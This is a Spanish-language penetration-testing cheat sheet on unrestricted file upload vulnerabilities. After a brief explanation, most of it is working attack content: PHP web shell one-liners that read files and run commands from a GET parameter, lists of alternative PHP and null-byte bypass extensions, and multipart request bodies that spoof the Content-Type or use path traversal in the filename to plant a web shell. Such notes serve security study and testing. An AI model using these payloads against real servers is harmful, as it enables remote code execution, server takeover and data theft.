📂File Upload Inyeccion

Esta vulnerabilidad ocurre cuando un servidor web permite a los usuarios cargar archivos en su sistema sin validar suficientemente cosas como su nombre, tipo, contenido, etc.

Esta vulnerabilidad ocurre cuando un servidor web permite a los usuarios cargar archivos en su sistema sin validar suficientemente cosas como su nombre, tipo, contenido etc. Si no se aplican correctamente las restricciones, podría significar que incluso una función básica de carga de imágenes se puede usar para cargar archivos arbitrarios y potencialmente peligrosos. Esto podría incluso incluir archivos de script del lado del servidor que permitan la ejecución remota de código.

En algunos casos, el acto de cargar el archivo es suficiente para causar daños. Otros ataques pueden implicar una solicitud HTTP de seguimiento del archivo, generalmente para desencadenar su ejecución por parte del servidor.

Explotación de cargas de archivos sin restricciones para implementar una shell web

Si puede cargar con éxito un shell web, efectivamente tiene control total sobre el servidor. Esto significa que puede leer y escribir archivos arbitrarios.

Por ejemplo, la siguiente línea de PHP podría usarse para leer archivos arbitrarios del sistema de archivos del servidor:

<?php echo file_get_contents('/path/to/target/file'); ?>

También podemos hacer una web shell de la siguiente manera:

<?php echo system($_GET['cmd']); ?>

Y podemos ejecutar comandos de la siguiente manera:

<?php echo system('whoami'); ?>

Extensiones válidas para PHP

.php
.php3
.php4
.php5
.php7

# Extensiones poco conocidas
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.inc

# Extensiones con bypass de bit nulo para php
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg

Content-Type

------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg            <!-- or image/gif, plain/text, etc. -->

<?php echo system($_GET['cmd']); ?>
------abcdefghijk

Path Traversal con el nombre del archivo

------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php"
Content-Type: application/x-php

<?php echo system($_GET['cmd']); ?>
------abcdefghijk

Última actualización